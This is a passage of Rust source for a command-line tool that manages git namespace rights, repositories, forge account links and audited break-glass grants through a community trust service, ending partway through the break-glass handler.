use clap::{Subcommand, ValueEnum};
use serde_json::{Value, json};
use vta_cli_common::duration::parse_duration_secs;
use vta_cli_common::render::{BOLD, DIM, RESET, bin_name, is_json_output, print_json};
use vtc_client::git_ns::{specs, task_error};
use vtc_client::{HolderKey, VtcClient, VtcError};
use crate::auth;
use crate::vtc::{self as vtc_target, VtcTarget};
type CliResult<T = ()> = Result<T, Box<dyn std::error::Error>>;
#[derive(Subcommand)]
pub enum GitCommands {
Namespace {
#[command(subcommand)]
command: NamespaceCommands,
},
Repos {
#[arg(long)]
namespace: Option<String>,
},
Grant {
#[arg(long)]
subject: String,
#[arg(long, value_enum)]
right: RightArg,
#[arg(long)]
resource: String,
#[arg(long)]
expires_in: Option<String>,
#[arg(long)]
reason: Option<String>,
},
Revoke {
#[arg(long)]
subject: String,
#[arg(long, value_enum)]
right: RightArg,
#[arg(long)]
resource: String,
#[arg(long)]
reason: Option<String>,
},
Create {
#[arg(long)]
namespace: String,
name: String,
#[arg(long, value_enum, default_value_t = VisibilityArg::Public)]
visibility: VisibilityArg,
#[arg(long)]
description: Option<String>,
#[arg(long = "owner")]
owners: Vec<String>,
},
Transfer {
resource: String,
#[arg(long)]
to: String,
},
Archive {
resource: String,
},
Adopt {
resource: String,
#[arg(long = "owner", required = true)]
owners: Vec<String>,
},
Drift {
#[command(subcommand)]
command: DriftCommands,
},
Reseat {
namespace: String,
#[arg(long)]
subject: String,
#[arg(long)]
statement: String,
},
BreakGlass {
#[arg(long, value_enum)]
right: RightArg,
#[arg(long)]
resource: String,
#[arg(long)]
justification: String,
},
Ratify {
#[arg(long)]
subject: String,
#[arg(long, value_enum)]
right: RightArg,
#[arg(long)]
resource: String,
#[arg(long)]
break_glass_at: String,
#[arg(long)]
statement: Option<String>,
},
BreakGlassList {
#[arg(long)]
namespace: Option<String>,
},
Reproject {
resource: String,
#[arg(long)]
reason: Option<String>,
},
View {
#[arg(long)]
resource: Option<String>,
#[arg(long)]
admin: bool,
},
Link {
#[arg(long, required_unless_present_any = ["list", "status"])]
forge: Option<String>,
#[arg(long, conflicts_with_all = ["forge", "status", "no_wait"])]
list: bool,
#[arg(long, value_name = "LINK_ID", conflicts_with = "forge")]
status: Option<String>,
#[arg(long)]
no_wait: bool,
},
Unlink {
#[arg(long)]
forge: String,
#[arg(long)]
account_id: Option<String>,
},
}
#[derive(Subcommand)]
pub enum DriftCommands {
Resolve {
resource: String,
#[arg(value_enum)]
action: DriftAction,
#[arg(long = "type", value_enum)]
kind: DriftTypeArg,
#[arg(long)]
account_id: Option<String>,
#[arg(long)]
account_login: Option<String>,
#[arg(long)]
observed: Option<String>,
#[arg(long)]
subject: Option<String>,
#[arg(long)]
reason: Option<String>,
},
}
#[derive(Debug, Clone, Copy, ValueEnum)]
pub enum DriftAction {
Adopt,
Revert,
}
#[derive(Debug, Clone, Copy, ValueEnum)]
pub enum DriftTypeArg {
#[value(name = "roleAdded")]
RoleAdded,
#[value(name = "roleRemoved")]
RoleRemoved,
#[value(name = "roleChanged")]
RoleChanged,
#[value(name = "requiredCheckMissing")]
RequiredCheckMissing,
#[value(name = "protectionWeakened")]
ProtectionWeakened,
#[value(name = "bootstrapMissing")]
BootstrapMissing,
}
impl DriftTypeArg {
fn as_str(self) -> &'static str {
match self {
DriftTypeArg::RoleAdded => "roleAdded",
DriftTypeArg::RoleRemoved => "roleRemoved",
DriftTypeArg::RoleChanged => "roleChanged",
DriftTypeArg::RequiredCheckMissing => "requiredCheckMissing",
DriftTypeArg::ProtectionWeakened => "protectionWeakened",
DriftTypeArg::BootstrapMissing => "bootstrapMissing",
}
}
fn is_role(self) -> bool {
matches!(
self,
DriftTypeArg::RoleAdded | DriftTypeArg::RoleRemoved | DriftTypeArg::RoleChanged
)
}
}
#[allow(clippy::too_many_arguments)]
fn drift_payload(
resource: &str,
action: DriftAction,
kind: DriftTypeArg,
account_id: Option<String>,
account_login: Option<String>,
observed: Option<String>,
subject: Option<String>,
reason: Option<String>,
) -> CliResult<Value> {
let resource = resource.to_lowercase();
let mut drift = json!({ "type": kind.as_str() });
match (kind.is_role(), account_id) {
(true, Some(id)) => {
let forge = resource.split('/').next().unwrap_or_default().to_string();
let login = account_login.unwrap_or_else(|| id.clone());
drift["account"] = json!({ "forge": forge, "id": id, "login": login });
}
(true, None) => {
return Err(format!(
"a `{}` item is selected by its account: pass --account-id",
kind.as_str()
)
.into());
}
(false, Some(_)) => {
return Err(format!("a `{}` item has no account", kind.as_str()).into());
}
(false, None) => {}
}
let action = match action {
DriftAction::Adopt => "adopt",
DriftAction::Revert => "revert",
};
if let Some(o) = observed {
drift["observed"] = json!(o);
} else if action == "adopt" {
return Err(
"adopting records a right derived from the observed role: pass --observed \
with the value `git view` showed"
.into(),
);
}
let mut payload = json!({ "resource": resource, "drift": drift, "action": action });
match (action, subject) {
("adopt", Some(s)) => payload["subject"] = json!(s.trim()),
("adopt", None) => {
return Err(
"adopting records a right for the member linked to the account: pass --subject \
with that member's DID, as `git view --admin` shows it"
.into(),
);
}
(_, Some(_)) => {
return Err(
"a revert changes no right and has no recipient: leave --subject out".into(),
);
}
(_, None) => {}
}
if let Some(r) = reason {
payload["reason"] = json!(r);
}
Ok(payload)
}
#[derive(Subcommand)]
pub enum NamespaceCommands {
Bind {
#[arg(long)]
forge: String,
#[arg(long)]
owner: String,
#[arg(long, value_enum, default_value_t = ModeArg::Manual)]
mode: ModeArg,
},
Unbind {
namespace: String,
},
List,
}
#[derive(Debug, Clone, Copy, ValueEnum)]
pub enum VisibilityArg {
Public,
Private,
}
#[derive(Debug, Clone, Copy, ValueEnum)]
pub enum ModeArg {
Bridge,
Manual,
}
#[derive(Debug, Clone, Copy, ValueEnum)]
pub enum RightArg {
#[value(name = "git.ns.admin")]
NsAdmin,
#[value(name = "git.repo.create")]
RepoCreate,
#[value(name = "git.repo.own")]
RepoOwn,
#[value(name = "git.repo.maintain")]
RepoMaintain,
#[value(name = "git.commit.sign")]
CommitSign,
}
impl RightArg {
fn as_str(self) -> &'static str {
match self {
RightArg::NsAdmin => "git.ns.admin",
RightArg::RepoCreate => "git.repo.create",
RightArg::RepoOwn => "git.repo.own",
RightArg::RepoMaintain => "git.repo.maintain",
RightArg::CommitSign => "git.commit.sign",
}
}
}
fn signing_key(keyring_key: &str) -> CliResult<(String, HolderKey)> {
let session = auth::loaded_session(keyring_key).ok_or_else(|| {
format!(
"no stored identity for this community profile. Run `{} setup` first.",
bin_name()
)
})?;
let key = HolderKey::from_did_key(&session.client_did, &session.private_key_multibase)
.map_err(|e| format!("this profile's key cannot sign: {e}"))?;
Ok((session.client_did, key))
}
fn did_arg(label: &str, value: &str) -> CliResult<String> {
vta_sdk::identifier::validate_did_core(label, value)?;
Ok(value.to_string())
}
fn shell_word(s: &str) -> String {
let plain = !s.is_empty()
&& !s.starts_with(['-', '=', '%'])
&& s.bytes().all(|b| {
b.is_ascii_alphanumeric()
|| matches!(
b,
b'.' | b'_' | b'-' | b'/' | b':' | b'@' | b'%' | b'+' | b'=' | b','
)
});
if plain {
return s.to_string();
}
if s.is_empty() {
return "''".to_string();
}
let mut out = String::with_capacity(s.len() + 2);
let mut run = String::new();
let flush = |run: &mut String, out: &mut String| {
if !run.is_empty() {
out.push('\'');
out.push_str(run);
out.push('\'');
run.clear();
}
};
for c in s.chars() {
match c {
'\'' => {
flush(&mut run, &mut out);
out.push_str("\"'\"");
}
'\\' => {
flush(&mut run, &mut out);
out.push_str("\"\\\\\"");
}
c => run.push(c),
}
}
flush(&mut run, &mut out);
out
}
fn terminal_safe(s: &str) -> String {
s.chars()
.map(|c| {
if c.is_control() || is_format_char(c) {
'?'
} else {
c
}
})
.collect()
}
fn is_format_char(c: char) -> bool {
matches!(
u32::from(c),
0x00AD
| 0x0600..=0x0605
| 0x061C
| 0x06DD
| 0x070F
| 0x0890..=0x0891
| 0x08E2
| 0x180E
| 0x200B..=0x200F
| 0x202A..=0x202E
| 0x2060..=0x2064
| 0x2066..=0x206F
| 0xFEFF
| 0xFFF9..=0xFFFB
| 0x110BD
| 0x110CD
| 0x13430..=0x1343F
| 0x1BCA0..=0x1BCA3
| 0x1D173..=0x1D17A
| 0xE0001
| 0xE0020..=0xE007F
)
}
fn guidance(code: &str, message: &str, did: &str) -> String {
let bin = shell_word(bin_name());
let (code, message, did) = (
terminal_safe(code),
terminal_safe(message),
terminal_safe(did),
);
let hint = match code.as_str() {
"git-ns:lastOwner" => format!(
"\nA repository always keeps an owner. Name another first:\n {bin} git grant \
--subject <did> --right git.repo.own --resource <repository>\nthen revoke this one."
),
"git-ns:lastAdmin" => format!(
"\nA namespace always keeps an admin. Grant another first:\n {bin} git grant \
--subject <did> --right git.ns.admin --resource <namespace>"
),
"permissionDenied" if message.contains("for members of this community") => {
format!("\nOnly a current member links a forge account, and {did} is not one here.")
}
"permissionDenied" if message.contains("elevated_requires_admin") => format!(
"\nUnder the default `[git_ns] elevated_requires_admin`, an owner cannot transfer, \
resign ownership, archive or name a co-owner without a community administrator: \
this VTC has no step-up it can ask a member for yet. Ask a community \
administrator to run it, e.g.:\n {bin} git grant --subject <did> --right \
git.repo.own --resource <repository>"
),
"git-ns:escalation" | "permissionDenied" => format!(
"\nThese commands are authorized by {did}'s own git rights, not by an admin \
session. See what it holds:\n {bin} git view"
),
"git-ns:namespaceNotBound" => "\nThe namespace's binding has not completed: finish \
the step at the URL `namespace bind` printed, then retry."
.to_string(),
"git-ns/namespace/bind:alreadyBound" => {
format!("\nIt is already bound, or binding. See:\n {bin} git namespace list")
}
"git-ns/namespace/bind:noBridge" => "\nNo bridge serves that forge. Bind with \
`--mode manual`, or configure `[git_ns.bridges]` on the VTC."
.to_string(),
"git-ns:unknownRepo" => format!(
"\nThe VTC records no repository there. Bring it under governance first:\n {bin} \
git adopt <resource> --owner <did>"
),
"git-ns/repo/transfer:notOwner" => format!(
"\nA transfer hands over your own ownership record. A namespace admin names an \
owner instead:\n {bin} git grant --subject <did> --right git.repo.own --resource \
<repository>"
),
"git-ns/repo/create:nameTaken" => format!(
"\nThe community already records a repository there. See it:\n {bin} git view \
--resource <resource>"
),
"git-ns/right/revoke:notGranted" => "\nNothing to revoke: no live record matches. \
Implied rights (an owner's commit right, an admin's ownership) are not records."
.to_string(),
"git-ns/drift/resolve:subjectChanged" => format!(
"{message}. The account was linked to someone else after you read it: run `cnm git \
view --admin --resource …` again and decide about the member it names now."
),
"git-ns/drift/resolve:driftNotFound" => format!(
"\nNo outstanding item matches — resolved already, or the forge changed since you \
read it. Read it again:\n {bin} git view --resource <repository>"
),
"git-ns/drift/resolve:notAdoptable" if message.contains("no higher") => format!(
"\nThe forge shows a lower role than the member holds. To accept the lowering, \
revoke the right:\n {bin} git revoke --subject <did> --right <right> --resource \
<repository>\nor revert the item to restore the projected role."
),
"git-ns/drift/resolve:notAdoptable"
| "git-ns/drift/resolve:accountNotLinked"
| "git-ns/drift/resolve:noMatchingRight" => format!(
"\nThis item records no right. Revert it instead:\n {bin} git drift resolve \
<repository> revert --type <type> [--account-id <id>]"
),
"git-ns:roleMapUnknown" => format!(
"\nThe bridge serving this namespace has not reported its role map, so the VTC \
cannot tell which right this forge role stands for, and assumes no default. It \
reports when it starts serving the namespace and whenever it reconnects; a bridge \
older than git-ns/bridge/event 0.3 never does. Adopt once it has reported, or \
revert the role:\n {bin} git drift resolve <repository> revert --type <type> \
[--account-id <id>]"
),
"git-ns/drift/resolve:notRevertible" if message.contains("manual mode") => {
"\nThe namespace is governed in manual mode: no bridge can change the forge. Undo \
the change on the forge yourself."
.to_string()
}
"git-ns/drift/resolve:notRevertible" if message.contains("projection") => format!(
"\nThe account is a member's, and the projection gives it a role here: reverting \
would not remove it. Adopt the forge-side role, or revoke the member's right:\n \
{bin} git revoke --subject <did> --right <right> --resource <repository>"
),
"git-ns/drift/resolve:notRevertible" => "\nThe bridge cannot undo this change: it \
refused the job, or does not take git-ns/bridge/job 0.4, the only version this VTC \
sends. Remove it on the forge, or upgrade the bridge."
.to_string(),
"git-ns/account/link:unsupportedForge" => format!(
"\nA link is completed by a bridge, so it needs a bridge-mode namespace on that \
forge; a manual-mode namespace gives nobody a forge role. A community \
administrator can see what is bound:\n {bin} git namespace list"
),
"git-ns/account/unlink:notLinked" => {
format!("\nSee what is linked to {did}:\n {bin} git link --list")
}
"git-ns/account/link-status:unknownLink" => format!(
"\nA link is answered only to the member who began it, and forgotten some days \
after it finishes. Start again:\n {bin} git link --forge <forge>"
),
"git-ns:selfGrantNotAllowed" => "\nThis would give you an elevated right (own, \
repo.create or ns.admin) on your own authority. Ask another community \
administrator to do it, or use break-glass (`cnm git break-glass`), which is \
audited and must be ratified."
.to_string(),
"git-ns/right/break-glass:disabled" => "\nThis community's policy has turned \
break-glass off: another administrator must grant the right."
.to_string(),
"git-ns/right/break-glass:notHeadless" => format!(
"\nThe namespace still has an admin; ask them to grant it:\n {bin} git grant \
--subject {did} --right git.ns.admin --resource <namespace>"
),
"git-ns/right/ratify:recordChanged" => format!(
"\nThe break-glass on record is not the one you read. Read it again:\n {bin} git \
break-glass-list"
),
"git-ns/right/ratify:selfRatification" => "\nA break-glass is ratified by another \
administrator, or not at all."
.to_string(),
"git-ns/right/ratify:notBreakGlass" => format!(
"\nNothing to ratify: no unratified break-glass record matches. See:\n {bin} git \
break-glass-list"
),
"git-ns/roles/reproject:manualMode" => "\nThe namespace is governed in manual mode: \
no bridge projects its roles, so set them on the forge yourself."
.to_string(),
"git-ns/roles/reproject:noForgeAccess" => "\nThe bridge lost its access to the \
forge owner. Once an owner reinstalls the app (or restores the bot), run this again."
.to_string(),
"git-ns/namespace/reseat:notHeadless" => format!(
"\nThe namespace still has an admin; its admins grant git.ns.admin:\n {bin} git \
grant --subject <did> --right git.ns.admin --resource <namespace>"
),
_ => String::new(),
};
format!("the community refused it ({code}): {message}{hint}")
}
fn explain(err: VtcError, did: &str) -> Box<dyn std::error::Error> {
match task_error(&err) {
Some((code, message)) => guidance(&code, &message, did).into(),
None => err.to_string().into(),
}
}
fn show<T: serde::Serialize>(value: &T) -> CliResult {
if is_json_output() {
print_json(value)?;
} else {
println!("{}", serde_json::to_string_pretty(value)?);
}
Ok(())
}
fn bind_notice(forge: &str, owner: &str) -> String {
format!(
"Rights granted in {forge}/{owner} will be published to the community's Trust \
Registry: anyone can read who owns and who may commit to each repository."
)
}
async fn announce_then<T>(
out: &mut impl std::io::Write,
notice: &str,
send: impl std::future::Future<Output = T>,
) -> T {
let _ = writeln!(out, "{DIM}{notice}{RESET}");
send.await
}
const LINK_POLL: std::time::Duration = std::time::Duration::from_secs(5);
const LINK_GRACE: chrono::Duration = chrono::Duration::seconds(30);
fn field(v: &Value, pointer: &str) -> String {
terminal_safe(
v.pointer(pointer)
.and_then(Value::as_str)
.unwrap_or_default(),
)
}
fn authorisation_url(v: &Value) -> Result<url::Url, String> {
let raw = v.get("url").and_then(Value::as_str).unwrap_or_default();
let refused = |why: &str| {
format!(
"the community returned an authorisation URL this client will not show ({why}): {}",
terminal_safe(raw)
)
};
let url = url::Url::parse(raw).map_err(|e| refused(&e.to_string()))?;
if url.scheme() != "https" {
return Err(refused("not https"));
}
if url.host_str().is_none_or(str::is_empty) {
return Err(refused("no host"));
}
if !url.username().is_empty() || url.password().is_some() {
return Err(refused("it carries credentials"));
}
Ok(url)
}
fn link_instructions(forge: &str, v: &Value) -> Result<String, String> {
let url = authorisation_url(v)?;
let bin = shell_word(bin_name());
let link_id = v.get("linkId").and_then(Value::as_str).unwrap_or_default();
let mut out = format!(
"Authorise the link on {}:\n {}\n",
terminal_safe(forge),
terminal_safe(url.as_str())
);
if v.get("userCode").and_then(Value::as_str).is_some() {
out.push_str(&format!(
"and enter the code {BOLD}{}{RESET}\n",
field(v, "/userCode")
));
}
out.push_str(&format!(
"{DIM}The link lapses at {}. Follow it later with:\n {bin} git link --status {}{RESET}",
field(v, "/expiresAt"),
shell_word(&terminal_safe(link_id))
));
Ok(out)
}
#[derive(Debug, PartialEq, Eq)]
enum LinkEnd {
Linked(String),
NotLinked(String),
}
fn link_end(v: &Value, did: &str, link_id: &str) -> LinkEnd {
let bin = shell_word(bin_name());
let did = terminal_safe(did);
match v.get("state").and_then(Value::as_str) {
Some("linked") => LinkEnd::Linked(format!(
"Linked {} account {BOLD}{}{RESET} (id {}) to {did}.",
field(v, "/account/forge"),
field(v, "/account/login"),
field(v, "/account/id"),
)),
Some("pending") => LinkEnd::NotLinked(format!(
"the link is still pending: it has not been authorised on the forge yet. Follow \
it with:\n {bin} git link --status {}",
shell_word(&terminal_safe(link_id))
)),
Some("expired") => LinkEnd::NotLinked(format!(
"the link lapsed before it was authorised. Start again:\n {bin} git link --forge \
<forge>"
)),
Some("failed") => LinkEnd::NotLinked(format!(
"the link failed: the forge refused it (the authorisation was declined, or the \
bridge could not complete it), or the account is already linked to another \
member. See what is linked to {did}:\n {bin} git link --list\nand start again \
with:\n {bin} git link --forge <forge>"
)),
other => LinkEnd::NotLinked(format!(
"the community answered a link state this client does not know: {}",
terminal_safe(other.unwrap_or("(none)"))
)),
}
}
fn finish_link(
out: &mut impl std::io::Write,
json_mode: bool,
v: &Value,
did: &str,
link_id: &str,
) -> CliResult {
let end = link_end(v, did, link_id);
if json_mode {
writeln!(out, "{}", serde_json::to_string_pretty(v)?)?;
}
match end {
LinkEnd::Linked(line) => {
if !json_mode {
writeln!(out, "{line}")?;
}
Ok(())
}
LinkEnd::NotLinked(why) => Err(why.into()),
}
}
fn account_lines(accounts: &Value) -> Vec<String> {
accounts
.as_array()
.into_iter()
.flatten()
.map(|a| {
format!(
"{BOLD}{}{RESET} {} id {} {DIM}linked {}{RESET}",
field(a, "/account/forge"),
field(a, "/account/login"),
field(a, "/account/id"),
field(a, "/linkedAt"),
)
})
.collect()
}
fn linked_account_id(accounts: &Value, forge: &str) -> Option<String> {
accounts
.as_array()?
.iter()
.find(|a| a.pointer("/account/forge").and_then(Value::as_str) == Some(forge))?
.pointer("/account/id")
.and_then(Value::as_str)
.map(str::to_string)
}
fn unlink_line(v: &Value, did: &str) -> String {
format!(
"Unlinked {} account {BOLD}{}{RESET} (id {}) from {}. The bridge withdraws the forge \
roles it gave that account; your git rights are unchanged.",
field(v, "/unlinked/forge"),
field(v, "/unlinked/login"),
field(v, "/unlinked/id"),
terminal_safe(did),
)
}
async fn follow<P, PF, S, SF>(
mut poll: P,
deadline: Option<chrono::DateTime<chrono::Utc>>,
now: impl Fn() -> chrono::DateTime<chrono::Utc>,
mut sleep: S,
) -> CliResult<Value>
where
P: FnMut() -> PF,
PF: std::future::Future<Output = CliResult<Value>>,
S: FnMut() -> SF,
SF: std::future::Future<Output = ()>,
{
loop {
let v = poll().await?;
if v.get("state").and_then(Value::as_str) != Some("pending") {
return Ok(v);
}
if deadline.is_some_and(|d| now() > d + LINK_GRACE) {
return Ok(v);
}
sleep().await;
}
}
async fn follow_link(
client: &VtcClient,
key: &HolderKey,
did: &str,
link_id: &str,
deadline: Option<chrono::DateTime<chrono::Utc>>,
) -> CliResult<Value> {
follow(
|| async {
Ok(serde_json::to_value(
client
.git_ns_link_status(link_id, key)
.await
.map_err(|e| explain(e, did))?,
)?)
},
deadline,
chrono::Utc::now,
|| tokio::time::sleep(LINK_POLL),
)
.await
}
fn base64url(bytes: &[u8]) -> String {
const A: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
let mut out = String::with_capacity(bytes.len().div_ceil(3) * 4);
for chunk in bytes.chunks(3) {
let b = [
chunk[0],
chunk.get(1).copied().unwrap_or(0),
chunk.get(2).copied().unwrap_or(0),
];
let n = (u32::from(b[0]) << 16) | (u32::from(b[1]) << 8) | u32::from(b[2]);
let chars = chunk.len() + 1;
for i in 0..chars {
out.push(A[((n >> (18 - 6 * i)) & 63) as usize] as char);
}
}
out
}
fn step_up_url(base: &str, request: &Value) -> String {
let json = serde_json::to_vec(request).unwrap_or_default();
format!(
"{}/admin/step-up#request={}",
base.trim_end_matches('/'),
base64url(&json)
)
}
async fn send_with_step_up(
client: &VtcClient,
base: &str,
type_uri: &str,
doc: &str,
did: &str,
) -> CliResult<Value> {
for _ in 0..3 {
match client.git_ns_send_signed::<Value>(type_uri, doc).await {
Ok(v) => return Ok(v),
Err(e) => {
let Some(req) = vtc_client::git_ns::step_up_request(&e) else {
return Err(explain(e, did));
};
let reason = terminal_safe(req["reason"].as_str().unwrap_or_default());
let bound = terminal_safe(req["boundTo"].as_str().unwrap_or_default());
eprintln!(
"{BOLD}This needs a passkey gesture bound to this one request.{RESET}\n \
{reason}\n bound to: {bound}\nOpen this in the admin console, where your \
passkey is registered, and confirm:\n {}\nThen press Enter to send the \
same request again (within five minutes).",
step_up_url(base, &req)
);
let mut line = String::new();
std::io::stdin().read_line(&mut line)?;
}
}
}
Err("the step-up was not completed; nothing was changed".into())
}
fn break_glass_flag(record: &Value) -> String {
let Some(bg) = record.get("breakGlass").filter(|v| v.is_object()) else {
return String::new();
};
match bg.get("ratifiedBy").and_then(Value::as_str) {
Some(by) => format!(" [break-glass, ratified by {}]", terminal_safe(by)),
None => format!(
" {BOLD}[BREAK-GLASS, UNRATIFIED since {}]{RESET}",
terminal_safe(bg["at"].as_str().unwrap_or_default())
),
}
}
fn ratify_command(record: &Value) -> String {
format!(
"{} git ratify --subject={} --right={} --resource={} --break-glass-at={}",
shell_word(bin_name()),
shell_word(record["subject"].as_str().unwrap_or_default()),
shell_word(record["right"].as_str().unwrap_or_default()),
shell_word(record["resource"].as_str().unwrap_or_default()),
shell_word(
record
.pointer("/breakGlass/at")
.and_then(Value::as_str)
.unwrap_or_default()
),
)
}
pub async fn run(command: GitCommands, keyring_key: &str, target: &VtcTarget) -> CliResult {
let anon = || VtcClient::anonymous(&target.base, &target.did);
match command {
GitCommands::Namespace { command } => match command {
NamespaceCommands::Bind { forge, owner, mode } => {
let (did, key) = signing_key(keyring_key)?;
let mode = match mode {
ModeArg::Bridge => "bridge",
ModeArg::Manual => "manual",
};
let (forge, owner) = (forge.to_lowercase(), owner.to_lowercase());
let client = anon();
let resp = announce_then(
&mut std::io::stderr(),
&bind_notice(&forge, &owner),
client.git_ns_bind(&forge, &owner, mode, &key),
)
.await
.map_err(|e| explain(e, &did))?;
let v = serde_json::to_value(&resp)?;
if is_json_output() {
return Ok(print_json(&v)?);
}
println!(
"{BOLD}{}/{}{RESET} — {} ({})",
v["namespace"]["forge"].as_str().unwrap_or_default(),
v["namespace"]["owner"].as_str().unwrap_or_default(),
v["namespace"]["state"].as_str().unwrap_or_default(),
v["namespace"]["id"].as_str().unwrap_or_default(),
);
if let Some(url) = v.pointer("/next/url").and_then(Value::as_str) {
println!("Prove control of the owner on the forge to finish binding:\n {url}");
}
Ok(())
}
NamespaceCommands::Unbind { namespace } => {
let (did, key) = signing_key(keyring_key)?;
let resp = anon()
.git_ns_unbind(&namespace, &key)
.await
.map_err(|e| explain(e, &did))?;
show(&resp)
}
NamespaceCommands::List => {
let vtc = vtc_target::connect(keyring_key, target).await?;
let v = vtc.client.git_ns_namespaces().await?;
if is_json_output() {
return Ok(print_json(&v)?);
}
for ns in v["namespaces"].as_array().into_iter().flatten() {
println!(
"{BOLD}{}{RESET} {} {} {} admins: {} repos: {}",
ns["resource"].as_str().unwrap_or_default(),
ns["id"].as_str().unwrap_or_default(),
ns["mode"].as_str().unwrap_or_default(),
ns["state"].as_str().unwrap_or_default(),
ns["admins"].as_array().map_or(0, Vec::len),
ns["repoCount"],
);
}
Ok(())
}
},
GitCommands::Repos { namespace } => {
let vtc = vtc_target::connect(keyring_key, target).await?;
let v = vtc.client.git_ns_repos(namespace.as_deref()).await?;
if is_json_output() {
return Ok(print_json(&v)?);
}
for r in v["repos"].as_array().into_iter().flatten() {
println!(
"{BOLD}{}{RESET} {} owners: {} sync: {}",
r["resource"].as_str().unwrap_or_default(),
r["state"].as_str().unwrap_or_default(),
r["owners"].as_array().map_or(0, Vec::len),
r["syncState"].as_str().unwrap_or_default(),
);
}
Ok(())
}
GitCommands::Grant {
subject,
right,
resource,
expires_in,
reason,
} => {
let subject = did_arg("--subject", &subject)?;
let (did, key) = signing_key(keyring_key)?;
let mut payload = json!({
"subject": subject,
"right": right.as_str(),
"resource": resource.to_lowercase(),
});
if let Some(d) = expires_in {
let secs = parse_duration_secs(&d)?;
let at = chrono::Utc::now() + chrono::Duration::seconds(secs as i64);
payload["expiresAt"] = json!(at.to_rfc3339_opts(chrono::SecondsFormat::Secs, true));
}
if let Some(r) = reason {
payload["reason"] = json!(r);
}
let payload: specs::right::grant::v0_3::Payload = serde_json::from_value(payload)
.map_err(|e| format!("that grant is not well formed: {e}"))?;
let resp = anon()
.git_ns_grant(&payload, &key)
.await
.map_err(|e| explain(e, &did))?;
show(&resp)
}
GitCommands::Revoke {
subject,
right,
resource,
reason,
} => {
let subject = did_arg("--subject", &subject)?;
let (did, key) = signing_key(keyring_key)?;
let mut payload = json!({
"subject": subject,
"right": right.as_str(),
"resource": resource.to_lowercase(),
});
if let Some(r) = reason {
payload["reason"] = json!(r);
}
let payload: specs::right::revoke::v0_3::Payload = serde_json::from_value(payload)
.map_err(|e| format!("that revocation is not well formed: {e}"))?;
let resp = anon()
.git_ns_revoke(&payload, &key)
.await
.map_err(|e| explain(e, &did))?;
show(&resp)
}
GitCommands::Create {
namespace,
name,
visibility,
description,
owners,
} => {
for o in &owners {
did_arg("--owner", o)?;
}
let (did, key) = signing_key(keyring_key)?;
let mut payload = json!({
"namespace": namespace,
"name": name.to_lowercase(),
"visibility": match visibility {
VisibilityArg::Public => "public",
VisibilityArg::Private => "private",
},
});
if let Some(d) = description {
payload["description"] = json!(d);
}
if !owners.is_empty() {
payload["owners"] = json!(owners);
}
let payload: specs::repo::create::v0_3::Payload = serde_json::from_value(payload)
.map_err(|e| format!("that repository is not well formed: {e}"))?;
let resp = anon()
.git_ns_create_repo(&payload, &key)
.await
.map_err(|e| explain(e, &did))?;
let v = serde_json::to_value(&resp)?;
if is_json_output() {
return Ok(print_json(&v)?);
}
println!(
"{BOLD}{}{RESET} — {}",
v["repo"]["resource"].as_str().unwrap_or_default(),
v["repo"]["state"].as_str().unwrap_or_default()
);
for (i, step) in v["manualSteps"]
.as_array()
.into_iter()
.flatten()
.enumerate()
{
println!(" {}. {}", i + 1, step.as_str().unwrap_or_default());
}
Ok(())
}
GitCommands::Transfer { resource, to } => {
let to = did_arg("--to", &to)?;
let (did, key) = signing_key(keyring_key)?;
let resp = anon()
.git_ns_transfer(&resource.to_lowercase(), &to, &key)
.await
.map_err(|e| explain(e, &did))?;
show(&resp)
}
GitCommands::Archive { resource } => {
let (did, key) = signing_key(keyring_key)?;
let resp = anon()
.git_ns_archive(&resource.to_lowercase(), &key)
.await
.map_err(|e| explain(e, &did))?;
show(&resp)
}
GitCommands::Adopt { resource, owners } => {
for o in &owners {
did_arg("--owner", o)?;
}
let (did, key) = signing_key(keyring_key)?;
let resp = anon()
.git_ns_adopt(&resource.to_lowercase(), &owners, &key)
.await
.map_err(|e| explain(e, &did))?;
show(&resp)
}
GitCommands::View { resource, admin } => {
if admin {
let vtc = vtc_target::connect(keyring_key, target).await?;
let v = vtc.client.git_ns_admin_view(resource.as_deref()).await?;
return show(&v);
}
let (did, key) = signing_key(keyring_key)?;
let resp = anon()
.git_ns_view_v4(resource.as_deref(), &key)
.await
.map_err(|e| explain(e, &did))?;
let v = serde_json::to_value(&resp)?;
if is_json_output() {
return Ok(print_json(&v)?);
}
let rights = v["rights"].as_array().cloned().unwrap_or_default();
let unratified: Vec<&Value> = rights
.iter()
.filter(|r| {
r.get("breakGlass")
.is_some_and(|b| b.get("ratifiedBy").is_none())
&& r["subject"].as_str() != Some(did.as_str())
})
.collect();
if !unratified.is_empty() {
println!(
"{BOLD}{} break-glass grant(s) await ratification or revocation:{RESET}",
unratified.len()
);
for r in &unratified {
println!(
" {} holds {} on {} — {}\n ratify: {}",
terminal_safe(r["subject"].as_str().unwrap_or_default()),
terminal_safe(r["right"].as_str().unwrap_or_default()),
terminal_safe(r["resource"].as_str().unwrap_or_default()),
terminal_safe(
r.pointer("/breakGlass/justification")
.and_then(Value::as_str)
.unwrap_or_default()
),
ratify_command(r),
);
}
println!();
}
for ns in v["namespaces"].as_array().into_iter().flatten() {
println!(
"{BOLD}{}/{}{RESET} {} {} {}",
terminal_safe(ns["forge"].as_str().unwrap_or_default()),
terminal_safe(ns["owner"].as_str().unwrap_or_default()),
terminal_safe(ns["id"].as_str().unwrap_or_default()),
ns["mode"].as_str().unwrap_or_default(),
ns["state"].as_str().unwrap_or_default(),
);
}
for r in &rights {
println!(
" {} {} {}{}",
terminal_safe(r["resource"].as_str().unwrap_or_default()),
terminal_safe(r["right"].as_str().unwrap_or_default()),
terminal_safe(r["subject"].as_str().unwrap_or_default()),
break_glass_flag(r),
);
}
for a in v["accounts"].as_array().into_iter().flatten() {
println!(
" linked: {} {} ({})",
terminal_safe(
a.pointer("/account/forge")
.and_then(Value::as_str)
.unwrap_or_default()
),
terminal_safe(
a.pointer("/account/login")
.and_then(Value::as_str)
.unwrap_or_default()
),
terminal_safe(
a.pointer("/account/id")
.and_then(Value::as_str)
.unwrap_or_default()
),
);
}
Ok(())
}
GitCommands::BreakGlass {
resource,
right,
justification,
} => {
if !matches!(
right,
RightArg::NsAdmin | RightArg::RepoCreate | RightArg::RepoOwn
) {
return Err(format!(
"{} is not elevated: grant it to yourself with `{} git grant`",
right.as_str(),
shell_word(bin_name())
)
.into());
}
if justification.trim().is_empty() {
return Err("a break-glass needs a justification".into());
}
let (did, key) = signing_key(keyring_key)?;
let payload = json!({
"right": right.as_str(),
